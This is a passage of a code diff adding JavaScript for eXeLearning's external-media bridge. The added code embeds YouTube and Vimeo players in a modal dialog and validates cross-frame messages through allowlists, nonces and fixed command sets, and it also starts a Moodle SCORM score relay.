+    function parentOrigin() {
+        try {
+            return (root.location && root.location.origin) || '';
+        } catch (e) {
+            return '';
+        }
+    }
+
+    // Pure command builders (exposed for unit tests). Closed action set; null otherwise.
+    function ytCommand(action, value) {
+        switch (action) {
+            case 'play': return { event: 'command', func: 'playVideo', args: [] };
+            case 'pause': return { event: 'command', func: 'pauseVideo', args: [] };
+            case 'seek': return { event: 'command', func: 'seekTo', args: [Number(value) || 0, true] };
+            case 'listen': return { event: 'listening' };
+            default: return null;
+        }
+    }
+    function vimeoCommand(action, value) {
+        switch (action) {
+            case 'play': return { method: 'play' };
+            case 'pause': return { method: 'pause' };
+            case 'seek': return { method: 'setCurrentTime', value: Number(value) || 0 };
+            default: return null;
+        }
+    }
+
+    // Pure inbound-event parsers (exposed for unit tests). Both providers post JSON strings.
+    function parseRaw(raw) {
+        if (typeof raw === 'string') {
+            try { return JSON.parse(raw); } catch (e) { return null; }
+        }
+        return raw && typeof raw === 'object' ? raw : null;
+    }
+    function parseYtEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'onReady') return { kind: 'ready' };
+        if (d.event === 'onError') return { kind: 'error', code: String(d.info != null ? d.info : '') };
+        if (d.event === 'infoDelivery' && d.info && typeof d.info === 'object') {
+            return { kind: 'info', currentTime: num(d.info.currentTime), duration: num(d.info.duration), playerState: num(d.info.playerState) };
+        }
+        if (d.event === 'onStateChange') {
+            return { kind: 'state', playerState: num(typeof d.info === 'object' && d.info ? d.info.playerState : d.info) };
+        }
+        return null;
+    }
+    function parseVimeoEvent(raw) {
+        var d = parseRaw(raw);
+        if (!d || typeof d.event !== 'string') return null;
+        if (d.event === 'ready') return { kind: 'ready' };
+        if (d.event === 'timeupdate' && d.data) return { kind: 'timeupdate', currentTime: num(d.data.seconds), duration: num(d.data.duration) };
+        if (d.event === 'play') return { kind: 'play' };
+        if (d.event === 'pause') return { kind: 'pause' };
+        if (d.event === 'ended' || d.event === 'finish') return { kind: 'ended' };
+        if (d.event === 'error') return { kind: 'error', code: 'vimeo_error' };
+        return null;
+    }
+
+    function youtubeRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var origin = parentOrigin();
+        var target = 'https://www.youtube-nocookie.com';
+        var src = target + '/embed/' + videoId + '?enablejsapi=1&rel=0&modestbranding=1' +
+            (origin ? '&origin=' + encodeURIComponent(origin) : '') +
+            (cb.start ? '&start=' + Math.floor(cb.start) : '') +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('allow', 'autoplay; encrypted-media; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseYtEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'info') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+                signalState(ev.playerState);
+            } else if (ev.kind === 'state') {
+                signalState(ev.playerState);
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        function signalState(s) {
+            if (s === 1 && cb.onPlay) cb.onPlay();
+            else if (s === 2 && cb.onPause) cb.onPause();
+            else if (s === 0 && cb.onEnded) cb.onEnded();
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        frame.addEventListener('load', function () { post(ytCommand('listen')); });
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(ytCommand('play')); },
+            pause: function () { post(ytCommand('pause')); },
+            seek: function (t) { post(ytCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    function vimeoRawAdapter(container, videoId, cb) {
+        var doc = container.ownerDocument || root.document;
+        var target = 'https://player.vimeo.com';
+        var pid = 'exe-vimeo-' + videoId;
+        var src = target + '/video/' + videoId + '?api=1&player_id=' + encodeURIComponent(pid) +
+            (cb.autoplay ? '&autoplay=1' : '');
+        var frame = doc.createElement('iframe');
+        frame.setAttribute('src', src);
+        frame.setAttribute('id', pid);
+        frame.setAttribute('allow', 'autoplay; fullscreen; picture-in-picture');
+        frame.setAttribute('allowfullscreen', '');
+        frame.setAttribute('referrerpolicy', 'strict-origin-when-cross-origin');
+        frame.style.cssText = 'border:0;width:100%;height:100%;';
+        var cache = { currentTime: 0, duration: 0 };
+
+        function post(msg) {
+            if (!msg) return;
+            try { frame.contentWindow.postMessage(JSON.stringify(msg), target); } catch (e) { /* not ready */ }
+        }
+        function subscribe() {
+            ['timeupdate', 'play', 'pause', 'ended', 'error'].forEach(function (name) {
+                post({ method: 'addEventListener', value: name });
+            });
+            if (cb.start) post(vimeoCommand('seek', cb.start));
+        }
+        function onMessage(e) {
+            if (e.source !== frame.contentWindow) return;
+            var ev = parseVimeoEvent(e.data);
+            if (!ev) return;
+            if (ev.kind === 'ready') {
+                subscribe();
+                if (cb.onReady) cb.onReady(cache.duration || undefined);
+            } else if (ev.kind === 'timeupdate') {
+                if (typeof ev.currentTime === 'number') cache.currentTime = ev.currentTime;
+                if (typeof ev.duration === 'number') cache.duration = ev.duration;
+            } else if (ev.kind === 'play' && cb.onPlay) {
+                cb.onPlay();
+            } else if (ev.kind === 'pause' && cb.onPause) {
+                cb.onPause();
+            } else if (ev.kind === 'ended' && cb.onEnded) {
+                cb.onEnded();
+            } else if (ev.kind === 'error' && cb.onError) {
+                cb.onError(ev.code);
+            }
+        }
+        if (root.addEventListener) root.addEventListener('message', onMessage);
+        container.appendChild(frame);
+
+        return {
+            play: function () { post(vimeoCommand('play')); },
+            pause: function () { post(vimeoCommand('pause')); },
+            seek: function (t) { post(vimeoCommand('seek', t)); },
+            getCurrentTime: function () { return cache.currentTime; },
+            getDuration: function () { return cache.duration; },
+            destroy: function () {
+                if (root.removeEventListener) root.removeEventListener('message', onMessage);
+                if (frame.parentNode) frame.parentNode.removeChild(frame);
+            },
+        };
+    }
+
+    // ---- Accessible modal -------------------------------------------------------------
+
+    function buildModal(session) {
+        var opts = session.opts || {};
+        var doc = opts.document || root.document;
+        var dialog = doc.createElement('dialog');
+        dialog.className = 'exe-media-modal';
+        dialog.setAttribute('aria-label', tr('Video player'));
+        try {
+            dialog.setAttribute('closedby', 'any'); // light-dismiss where supported
+        } catch (e) {
+            /* older engines */
+        }
+
+        var closeBtn = doc.createElement('button');
+        closeBtn.setAttribute('type', 'button');
+        closeBtn.className = 'exe-media-modal__close';
+        closeBtn.setAttribute('aria-label', tr('Close video'));
+        closeBtn.textContent = tr('Close');
+        closeBtn.addEventListener('click', function () {
+            requestClose(session);
+        });
+
+        var body = doc.createElement('div');
+        body.className = 'exe-media-modal__body';
+
+        dialog.appendChild(closeBtn);
+        dialog.appendChild(body);
+
+        // Safari light-dismiss fallback: a click whose target is the dialog itself is the backdrop.
+        dialog.addEventListener('click', function (e) {
+            if (e.target === dialog) requestClose(session);
+        });
+        // Esc / platform close request.
+        dialog.addEventListener('close', function () {
+            if (session.hiding) {
+                session.hiding = false;
+                return;
+            }
+            requestClose(session);
+        });
+
+        (doc.body || doc.documentElement).appendChild(dialog);
+        if (typeof dialog.showModal === 'function') dialog.showModal();
+
+        session.dialog = dialog;
+        return body;
+    }
+
+    function showModal(session) {
+        if (session.dialog && typeof session.dialog.showModal === 'function') session.dialog.showModal();
+    }
+
+    function hideModal(session) {
+        if (session.dialog && typeof session.dialog.close === 'function') {
+            session.hiding = true;
+            session.dialog.close();
+        }
+    }
+
+    function requestClose(session) {
+        if (session.closed) return;
+        session.closed = true;
+        sendEvent(session, { action: 'closed' });
+        destroyAdapter(session);
+        if (session.dialog) {
+            if (typeof session.dialog.close === 'function') session.dialog.close();
+            if (typeof session.dialog.remove === 'function') session.dialog.remove();
+        }
+    }
+
+    function destroyAdapter(session) {
+        if (session.pollTimer != null) {
+            session.interval.clear(session.pollTimer);
+            session.pollTimer = null;
+        }
+        if (session.adapter && session.adapter.destroy) session.adapter.destroy();
+        session.adapter = null;
+    }
+
+    // ---- Media event relay ------------------------------------------------------------
+
+    function sendEvent(session, ev) {
+        ev.type = TYPE;
+        ev.v = VERSION;
+        if (session.port1) session.port1.postMessage(ev);
+    }
+
+    function emitTimeupdate(session, ct, dur) {
+        if (typeof ct === 'number' && isFinite(ct) && typeof dur === 'number' && isFinite(dur)) {
+            sendEvent(session, { action: 'timeupdate', currentTime: ct, duration: dur });
+        }
+    }
+
+    function startPolling(session) {
+        if (session.pollTimer != null) return;
+        session.pollTimer = session.interval.set(function () {
+            if (!session.adapter) return;
+            var ct = session.adapter.getCurrentTime();
+            var dur = session.adapter.getDuration();
+            if (isThenable(ct) || isThenable(dur)) {
+                Promise.all([Promise.resolve(ct), Promise.resolve(dur)]).then(function (r) {
+                    emitTimeupdate(session, r[0], r[1]);
+                });
+            } else {
+                emitTimeupdate(session, ct, dur);
+            }
+        }, 250);
+    }
+
+    function openMedia(session, provider, videoId, openOpts) {
+        var opts = session.opts || {};
+        // Single active media per session: discard any previous player/poll-timer/<dialog>
+        // before opening a new one, so repeated 'open' commands cannot stack modals or orphan
+        // provider players (host-page resource exhaustion). Remove the old dialog directly
+        // (no .close()) so its 'close' listener does not fire a spurious 'closed' to the child.
+        destroyAdapter(session);
+        if (session.dialog) {
+            if (typeof session.dialog.remove === 'function') session.dialog.remove();
+            session.dialog = null;
+        }
+        var container = buildModal(session);
+        var callbacks = {
+            start: openOpts.start,
+            autoplay: openOpts.autoplay,
+            onReady: function (duration) {
+                sendEvent(session, { action: 'ready', duration: duration });
+                startPolling(session);
+            },
+            onPlay: function () { sendEvent(session, { action: 'play' }); },
+            onPause: function () { sendEvent(session, { action: 'pause' }); },
+            onEnded: function () { sendEvent(session, { action: 'ended' }); },
+            onSeeked: function (t) { sendEvent(session, { action: 'seeked', currentTime: t }); },
+            onError: function (code) { sendEvent(session, { action: 'error', code: String(code), fatal: true }); },
+        };
+        var factory =
+            provider === 'vimeo'
+                ? opts.vimeoFactory || vimeoRawAdapter
+                : opts.youtubeFactory || youtubeRawAdapter;
+        session.adapter = factory(container, videoId, callbacks);
+    }
+
+    function answerState(session, reqId, field) {
+        if (!session.adapter) return;
+        var value = field === 'duration' ? session.adapter.getDuration() : session.adapter.getCurrentTime();
+        Promise.resolve(value).then(function (v) {
+            var ev = { action: 'state', reqId: reqId };
+            ev[field === 'duration' ? 'duration' : 'currentTime'] = v;
+            sendEvent(session, ev);
+        });
+    }
+
+    function processCommand(session, data) {
+        if (!data || data.type !== TYPE || data.v !== VERSION) return;
+        if (data.exelearningBridge !== session.nonce) return; // nonce gate
+        if (!policy.COMMANDS[data.action]) return;
+
+        if (data.action === 'open') {
+            var url = policy.canonicalEmbedUrl(data.provider, data.videoId);
+            if (!url) {
+                sendEvent(session, { action: 'error', code: 'unsupported_provider', fatal: true });
+                return;
+            }
+            session.closed = false;
+            openMedia(session, data.provider, data.videoId, { start: data.start, autoplay: data.autoplay });
+            return;
+        }
+        if (!policy.validateCommand(data, session.nonce)) return;
+
+        var a = session.adapter;
+        switch (data.action) {
+            case 'play': if (a) a.play(); break;
+            case 'pause': if (a) a.pause(); break;
+            case 'seek': if (a) a.seek(data.t); break;
+            case 'getCurrentTime': answerState(session, data.reqId, 'currentTime'); break;
+            case 'getDuration': answerState(session, data.reqId, 'duration'); break;
+            case 'hide': hideModal(session); break;
+            case 'show': showModal(session); break;
+            case 'close': requestClose(session); break;
+            default: break;
+        }
+    }
+
+    // ---- Handshake + attachment -------------------------------------------------------
+
+    var records = [];
+
+    function teardown(session) {
+        if (!session) return;
+        destroyAdapter(session);
+        if (session.port1 && session.port1.close) session.port1.close();
+        if (session.dialog && session.dialog.remove) session.dialog.remove();
+    }
+
+    function handleHello(rec, data) {
+        var existing = rec.session;
+        if (existing && existing.helloId === data.helloId) return; // duplicate
+        if (existing) teardown(existing); // new helloId → re-pair
+
+        var nonce = genNonce(rec.opts);
+        var channel = makeChannel(rec.opts);
+        var session = {
+            iframe: rec.iframe,
+            opts: rec.opts,
+            nonce: nonce,
+            helloId: data.helloId,
+            port1: channel.port1,
+            adapter: null,
+            dialog: null,
+            pollTimer: null,
+            hiding: false,
+            closed: false,
+            interval: getInterval(rec.opts),
+        };
+        rec.session = session;
+
+        channel.port1.onmessage = function (e) {
+            processCommand(session, e.data);
+        };
+        if (typeof channel.port1.start === 'function') channel.port1.start();
+
+        rec.iframe.contentWindow.postMessage(
+            { type: TYPE, v: VERSION, action: 'welcome', helloId: data.helloId, exelearningBridge: nonce },
+            '*',
+            [channel.port2],
+        );
+    }
+
+    function onWindowMessage(rec, e) {
+        if (!rec.iframe || !rec.iframe.contentWindow || e.source !== rec.iframe.contentWindow) return;
+        if (policy.isHello(e.data)) handleHello(rec, e.data);
+    }
+
+    /**
+     * Register an iframe that renders eXeLearning content and start relaying its media.
+     * @returns {{detach: function}} handle
+     */
+    function attach(iframe, opts) {
+        opts = opts || {};
+        var win = opts.win || root;
+        var rec = { iframe: iframe, opts: opts, session: null, win: win, handler: null, io: null };
+        rec.handler = function (e) {
+            onWindowMessage(rec, e);
+        };
+        if (win.addEventListener) win.addEventListener('message', rec.handler);
+        records.push(rec);
+        // Tie the promoted player's lifetime to its source iframe: when the iframe
+        // leaves the layout (removed from the DOM, display:none, a preview/modal
+        // closing, the activity iframe being replaced, …) close its player so it
+        // cannot linger as a floating top-layer <dialog>.
+        if (win.IntersectionObserver && iframe) {
+            rec.io = new win.IntersectionObserver(function (entries) {
+                for (var k = 0; k < entries.length; k++) {
+                    if (!entries[k].isIntersecting) closeActive(rec);
+                }
+            });
+            try {
+                rec.io.observe(iframe);
+            } catch (e) {
+                rec.io = null;
+            }
+        }
+        return {
+            detach: function () {
+                if (win.removeEventListener) win.removeEventListener('message', rec.handler);
+                if (rec.io) {
+                    rec.io.disconnect();
+                    rec.io = null;
+                }
+                teardown(rec.session);
+                var i = records.indexOf(rec);
+                if (i >= 0) records.splice(i, 1);
+            },
+        };
+    }
+
+    function resetForTests() {
+        for (var i = 0; i < records.length; i++) {
+            var rec = records[i];
+            if (rec.win && rec.win.removeEventListener) rec.win.removeEventListener('message', rec.handler);
+            if (rec.io) rec.io.disconnect();
+            teardown(rec.session);
+        }
+        records = [];
+    }
+
+    /**
+     * Close the promoted player for one record (if any) without detaching the
+     * relay, so the child can re-open on demand. Sends `closed` to the child.
+     */
+    function closeActive(rec) {
+        if (rec && rec.session && rec.session.dialog && !rec.session.closed) {
+            requestClose(rec.session);
+        }
+    }
+
+    /**
+     * Close every active promoted player. The promoted video lives on the trusted
+     * parent page; when the host UI changes context (e.g. the editor opens over
+     * the content, or the content iframe is torn down) the video must not outlive
+     * that context as a floating top-layer <dialog>. Hosts call this on such
+     * transitions.
+     */
+    function closeAll() {
+        for (var i = 0; i < records.length; i++) {
+            closeActive(records[i]);
+        }
+    }
+
+    root.exeMediaHost = {
+        attach: attach,
+        closeAll: closeAll,
+        buildModal: buildModal,
+        _youtubeAdapter: youtubeRawAdapter,
+        _vimeoAdapter: vimeoRawAdapter,
+        _ytCommand: ytCommand,
+        _vimeoCommand: vimeoCommand,
+        _parseYtEvent: parseYtEvent,
+        _parseVimeoEvent: parseVimeoEvent,
+        _processCommand: processCommand,
+        _resetForTests: resetForTests,
+    };
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/js/exe_media_policy.js b/js/exe_media_policy.js
new file mode 100644
index 0000000..9df9677
--- /dev/null
+++ b/js/exe_media_policy.js
@@ -0,0 +1,266 @@
+/**
+ * exe_media_policy — pure, framework-free policy for the external-media bridge.
+ *
+ * Single source of truth shared by:
+ *   - the child runtime (exe_media_bridge.js) that runs inside exported content, and
+ *   - the reference parent relay (exe-media-host.js) that runs in the trusted host page.
+ *
+ * Responsibilities (all pure — no DOM mutation, no postMessage):
+ *   - Detect and normalize supported external media (YouTube, Vimeo) into a neutral
+ *     descriptor; recognize PDFs for a deferred open-in-new-tab fallback.
+ *   - Rebuild canonical, privacy-friendly embed URLs from a bare provider id, so the
+ *     bridge never has to trust an attacker-supplied URL (kills redirect-laundering).
+ *   - Validate the versioned postMessage/MessageChannel contract (handshake, commands,
+ *     events) with a strict schema, a closed action enum and a provider allowlist.
+ *
+ * This file is a CLASSIC browser script (no ES module syntax) so it can be shipped
+ * verbatim inside exported packages and loaded over file:// — while still being
+ * importable (for its side effect) by the Vitest suite, which reads the global it sets.
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so this ONE file can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins (mod_exelearning) without either
+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function (root) {
+    'use strict';
+
+    var TYPE = 'exe-media';
+    var VERSION = 1;
+
+    // Bare-id shapes. YouTube ids are exactly 11 url-safe chars; Vimeo ids are numeric.
+    var ID_RE = {
+        youtube: /^[A-Za-z0-9_-]{11}$/,
+        vimeo: /^[0-9]{6,12}$/,
+    };
+
+    // Host allow-lists per provider. Anything else never matches a provider, so IPs,
+    // loopback, *.local and look-alike domains (evil.com/watch?v=...) cannot slip in.
+    var YOUTUBE_HOSTS = {
+        'youtube.com': 1,
+        'www.youtube.com': 1,
+        'm.youtube.com': 1,
+        'music.youtube.com': 1,
+        'youtube-nocookie.com': 1,
+        'www.youtube-nocookie.com': 1,
+    };
+    var YOUTU_BE_HOSTS = { 'youtu.be': 1, 'www.youtu.be': 1 };
+    var VIMEO_HOSTS = { 'vimeo.com': 1, 'www.vimeo.com': 1 };
+    var VIMEO_PLAYER_HOSTS = { 'player.vimeo.com': 1 };
+
+    // Closed action enums. Anything outside these is dropped before any work happens.
+    var COMMANDS = { open: 1, play: 1, pause: 1, seek: 1, getCurrentTime: 1, getDuration: 1, hide: 1, show: 1, close: 1 };
+    var EVENTS = { ready: 1, play: 1, pause: 1, ended: 1, timeupdate: 1, seeked: 1, state: 1, error: 1, closed: 1 };
+
+    function isObject(v) {
+        return v !== null && typeof v === 'object';
+    }
+
+    function finiteNonNeg(n) {
+        return typeof n === 'number' && isFinite(n) && n >= 0;
+    }
+
+    function isAllowedProvider(provider) {
+        return provider === 'youtube' || provider === 'vimeo';
+    }
+
+    function isValidVideoId(provider, id) {
+        var re = ID_RE[provider];
+        return !!re && typeof id === 'string' && re.test(id);
+    }
+
+    /**
+     * Build the canonical, privacy-friendly embed URL for a provider id. Returns null
+     * for unknown providers or ids that fail the provider's shape — so a malicious id
+     * can never be templated into a live URL.
+     */
+    function canonicalEmbedUrl(provider, id) {
+        if (provider === 'youtube' && isValidVideoId('youtube', id)) {
+            return 'https://www.youtube-nocookie.com/embed/' + id;
+        }
+        if (provider === 'vimeo' && isValidVideoId('vimeo', id)) {
+            return 'https://player.vimeo.com/video/' + id;
+        }
+        return null;
+    }
+
+    function firstPathSegment(pathname) {
+        var parts = pathname.split('/');
+        for (var i = 0; i < parts.length; i++) {
+            if (parts[i]) return parts[i];
+        }
+        return '';
+    }
+
+    function youtubeIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (YOUTU_BE_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        if (YOUTUBE_HOSTS[host]) {
+            var v = u.searchParams.get('v');
+            if (v) return v;
+            var m = u.pathname.match(/^\/(?:embed|v|shorts)\/([^/?#]+)/);
+            if (m) return m[1];
+        }
+        return '';
+    }
+
+    function vimeoIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (VIMEO_PLAYER_HOSTS[host]) {
+            var m = u.pathname.match(/^\/video\/([0-9]+)/);
+            if (m) return m[1];
+        }
+        if (VIMEO_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        return '';
+    }
+
+    function descriptor(provider, id, originalUrl, embedUrl, extra) {
+        var d = {
+            provider: provider,
+            providerVideoId: id,
+            originalUrl: originalUrl,
+            embedUrl: embedUrl,
+            aspectRatio: provider === 'pdf' ? undefined : '16:9',
+            interactive: false,
+            requiresBridge: provider !== 'pdf',
+        };
+        if (extra && extra.title) d.title = extra.title;
+        return d;
+    }
+
+    /**
+     * Normalize a URL string or an element (iframe/anchor) into a neutral media
+     * descriptor, or null when it is not a supported external embed.
+     */
+    function parseExternalMedia(input) {
+        var url = input;
+        var title;
+        if (input && typeof input.getAttribute === 'function') {
+            url = input.getAttribute('src') || input.getAttribute('href') || '';
+            title = input.getAttribute('title') || undefined;
+        }
+        if (typeof url !== 'string' || !url) return null;
+
+        var u;
+        try {
+            u = new URL(url);
+        } catch (e) {
+            return null;
+        }
+        // Reject userinfo (https://user@host/...) and non-web schemes outright.
+        if (u.username || u.password) return null;
+        if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
+
+        var ytId = youtubeIdFromUrl(u);
+        if (ytId) {
+            if (!isValidVideoId('youtube', ytId)) return null;
+            return descriptor('youtube', ytId, url, canonicalEmbedUrl('youtube', ytId), { title: title });
+        }
+
+        var vId = vimeoIdFromUrl(u);
+        if (vId) {
+            if (!isValidVideoId('vimeo', vId)) return null;
+            return descriptor('vimeo', vId, url, canonicalEmbedUrl('vimeo', vId), { title: title });
+        }
+
+        if (u.pathname.toLowerCase().slice(-4) === '.pdf') {
+            return descriptor('pdf', null, url, url, { title: title });
+        }
+
+        return null;
+    }
+
+    function hasEnvelope(d) {
+        return isObject(d) && d.type === TYPE && d.v === VERSION;
+    }
+
+    function isHello(d) {
+        return hasEnvelope(d) && d.action === 'hello' && typeof d.helloId === 'string' && d.helloId.length > 0;
+    }
+
+    function isWelcome(d) {
+        return (
+            hasEnvelope(d) &&
+            d.action === 'welcome' &&
+            typeof d.helloId === 'string' &&
+            typeof d.exelearningBridge === 'string' &&
+            d.exelearningBridge.length > 0
+        );
+    }
+
+    /**
+     * Validate a child→parent command. Defense in depth: envelope + a present, matching
+     * nonce (the `!!expectedNonce` guard prevents an absent expected nonce from ever
+     * authenticating a forged message) + closed action enum + per-action payload checks.
+     */
+    function validateCommand(d, expectedNonce) {
+        if (!hasEnvelope(d)) return false;
+        if (!expectedNonce) return false;
+        if (typeof d.exelearningBridge !== 'string' || d.exelearningBridge !== expectedNonce) return false;
+        if (!COMMANDS[d.action]) return false;
+        switch (d.action) {
+            case 'open':
+                return (
+                    Number.isInteger(d.reqId) &&
+                    isAllowedProvider(d.provider) &&
+                    isValidVideoId(d.provider, d.videoId) &&
+                    (d.start == null || finiteNonNeg(d.start))
+                );
+            case 'seek':
+                return finiteNonNeg(d.t);
+            case 'getCurrentTime':
+            case 'getDuration':
+                return Number.isInteger(d.reqId);
+            default:
+                return true; // play / pause / hide / show / close — no payload
+        }
+    }
+
+    /**
+     * Validate a parent→child event. Same envelope + closed enum + per-action payload.
+     */
+    function validateEvent(d) {
+        if (!hasEnvelope(d)) return false;
+        if (!EVENTS[d.action]) return false;
+        switch (d.action) {
+            case 'timeupdate':
+                return finiteNonNeg(d.currentTime) && finiteNonNeg(d.duration);
+            case 'seeked':
+                return finiteNonNeg(d.currentTime);
+            case 'state':
+                return Number.isInteger(d.reqId);
+            case 'ready':
+                return d.duration == null || finiteNonNeg(d.duration);
+            case 'error':
+                return typeof d.code === 'string' && typeof d.fatal === 'boolean';
+            default:
+                return true; // play / pause / ended / closed
+        }
+    }
+
+    var api = {
+        TYPE: TYPE,
+        VERSION: VERSION,
+        COMMANDS: COMMANDS,
+        EVENTS: EVENTS,
+        parseExternalMedia: parseExternalMedia,
+        canonicalEmbedUrl: canonicalEmbedUrl,
+        isAllowedProvider: isAllowedProvider,
+        isValidVideoId: isValidVideoId,
+        isHello: isHello,
+        isWelcome: isWelcome,
+        validateCommand: validateCommand,
+        validateEvent: validateEvent,
+    };
+
+    root.exeMediaPolicy = api;
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/js/scorm_bridge_relay.js b/js/scorm_bridge_relay.js
new file mode 100644
index 0000000..1320308
--- /dev/null
+++ b/js/scorm_bridge_relay.js
@@ -0,0 +1,256 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Parent-side SCORM bridge relay for the secure (opaque-origin) package mode.
+ *
+ * Injected inline by view.php (secure mode only) so its message listener is in place
+ * before the package iframe loads. It is the trusted half of the bridge: the iframe
+ * runs in an opaque origin and CANNOT reach this page, so the only thing it can do is
+ * postMessage buffered SCORM scores here. This relay validates every message and, for
+ * accepted ones, performs the authenticated track.php request (keeping the sesskey on
+ * this trusted side) plus a sendBeacon flush on pagehide.
+ *
+ * Validation (defence in depth — track.php re-validates and clamps server-side):
+ *   - event.source === iframe.contentWindow (window identity, the primary anchor:
+ *     no other window can forge it, and an opaque origin has no useful event.origin);
+ *   - type === 'scorm' and action in the closed list {ready, track};
+ *   - a per-view nonce on 'track' messages;
+ *   - the payload shape (cmi is an object).
+ * Unknown or invalid messages are ignored silently.
+ *
+ * Exposed two ways from a single body: window.exeScormBridge (browser bootstrap) and
+ * module.exports (Vitest). See research ADR DEC-80-01.
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Whether a payload is a child -> parent score message (shape only).
+     *
+     * @param {*} data The event.data value.
+     * @returns {boolean} True for {type:'scorm', action:'track', cmi:{...}}.
+     */
+    function isTrackMessage(data) {
+        return !!data && data.type === 'scorm' && data.action === 'track'
+            && !!data.cmi && typeof data.cmi === 'object';
+    }
+
+    /**
+     * Whether a payload is the child's readiness announcement.
+     *
+     * @param {*} data The event.data value.
+     * @returns {boolean} True for {type:'scorm', action:'ready'}.
+     */
+    function isReadyMessage(data) {
+        return !!data && data.type === 'scorm' && data.action === 'ready';
+    }
+
+    /**
+     * Whether a 'track' message should be accepted: correct shape AND matching nonce.
+     * Pure, so it can be unit-tested without a DOM. The caller is still responsible
+     * for the window-identity check (which cannot be expressed on data alone).
+     *
+     * @param {*} data The event.data value.
+     * @param {string} expectednonce The per-view nonce handed to the iframe.
+     * @returns {boolean} True when the message is a valid, authenticated track message.
+     */
+    function acceptTrack(data, expectednonce) {
+        // The !!expectednonce guard means an empty/undefined expected nonce can never
+        // authenticate: otherwise a forged message that simply omits the field would
+        // satisfy undefined === undefined and collapse the nonce factor.
+        return isTrackMessage(data) && !!expectednonce && data.exelearningBridge === expectednonce;
+    }
+
+    /**
+     * Create a relay bound to a config + (injectable) environment.
+     *
+     * @param {Object} config {iframeid, cmid, trackurl, session, sesskey, nonce,
+     *     blockedid, disableTracking}.
+     * @param {Object} [deps] {document, window, fetch, sendBeacon} for testing.
+     * @returns {Object} {init, onMessage, flushBeacon, postTrack, acceptTrack}.
+     */
+    function createRelay(config, deps) {
+        config = config || {};
+        deps = deps || {};
+        var doc = deps.document || (typeof document !== 'undefined' ? document : null);
+        var win = deps.window || (typeof window !== 'undefined' ? window : null);
+        var fetchImpl = deps.fetch || (win && win.fetch ? win.fetch.bind(win) : null);
+        var beacon = deps.sendBeacon
+            || (win && win.navigator && win.navigator.sendBeacon
+                ? win.navigator.sendBeacon.bind(win.navigator) : null);
+
+        var iframeid = config.iframeid;
+        var trackurl = config.trackurl;
+        var cmid = config.cmid;
+        var session = config.session;
+        var sesskey = config.sesskey;
+        var nonce = config.nonce;
+        var blockedid = config.blockedid;
+        // xAPI-primary (DEC-80-05): keep the bridge fully live (handshake, window.API,
+        // watchdog) but forward NO SCORM score, because the package is graded
+        // via xAPI. The decision lives here, on the trusted parent, not in the baked-in
+        // shim — so it holds even for a package whose shim predates this flag.
+        var disabletracking = config.disableTracking === true;
+        var watchdogms = config.watchdogms || 8000;
+        var gracems = config.gracems || 2500;
+        var latest = null;
+        var watchdog = null;
+        var sawready = false;
+
+        function iframe() { return doc ? doc.getElementById(iframeid) : null; }
+
+        // Watchdog: if the in-iframe shim never announces 'ready' (e.g. an opaque-origin
+        // iframe the environment cannot serve, like a PHP-WASM service-worker host that
+        // does not control opaque subframes, so the token URL falls through to a 404),
+        // reveal the "blocked by security configuration" notice instead of silently
+        // degrading to the weaker same-origin mode (DEC-80-02).
+        function showBlocked() {
+            var b = (doc && blockedid) ? doc.getElementById(blockedid) : null;
+            if (b) { b.style.display = ''; }
+            var fr = iframe();
+            if (fr) { fr.style.display = 'none'; }
+        }
+        // Decide between two timing signals so the notice never sits behind a long blank
+        // wait. The iframe element fires 'load' even when its navigation ended in an error
+        // page (e.g. the 404 above), so once it has loaded we only grant a short grace for
+        // the shim to handshake; if 'load' never fires we still fall back to watchdogms.
+        function armBlockedTimer(ms) {
